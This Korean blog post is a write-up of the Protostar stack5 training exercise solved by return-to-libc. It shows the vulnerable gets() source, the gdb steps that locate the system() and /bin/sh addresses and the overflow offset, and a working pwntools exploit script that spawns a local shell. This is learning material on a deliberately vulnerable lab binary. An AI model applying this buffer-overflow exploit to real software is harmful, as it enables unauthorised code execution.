시스템 해킹
Protostack - stack 5 를 stack6 방법으로 해결하기
taktaks
2024. 5. 19. 06:09
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char buffer[64];
gets(buffer);
}
protostar - stack 5의 소스코드이다.
stack 6방법을 통하여 stack 5 테스트 exploit코드를 파이썬으로 작성
#!stack5.py
from pwn import *
system = p32(시스템주소 넣기)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(bin_sh주소넣기)
offset = 위치넣기
payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.
p = process(['stack5'])
p.sendline(payload)
p.interactive()
exploit 코드를 대략 작성
gdb ./stack5
b *main
run
disas system
print system
system 주소를 찾는다.
system = 0xf7c4c910
find /bin/sh
/bin/sh 주소=0xf7db5faa
이제 오프셋 위치를 확인한다.
disas main
pattern create 100
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
b *main+22
run
AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL
pattern offset 76
offset 위치를 확인
offset = 76
#!stack5.py
from pwn import *
system = p32(0xf7c4c910)
dummy = p32(0xFFFFFFFF)
bin_sh = p32(0xf7db5faa)
offset = 76
payload = b'A'*offset + system + dummy + bin_sh
#return2 라이브러리를 사용한다.
p = process(['stack5'])
p.sendline(payload)
p.interactive()
system = 0xf7c4c910
/bin/sh 주소=0xf7db5faa
offset = 76
최종 exploit 코드를 작성한다!
python3 stack5_exploit2.py
protostar stack 5의 두번쨰 방법에 성공하였다!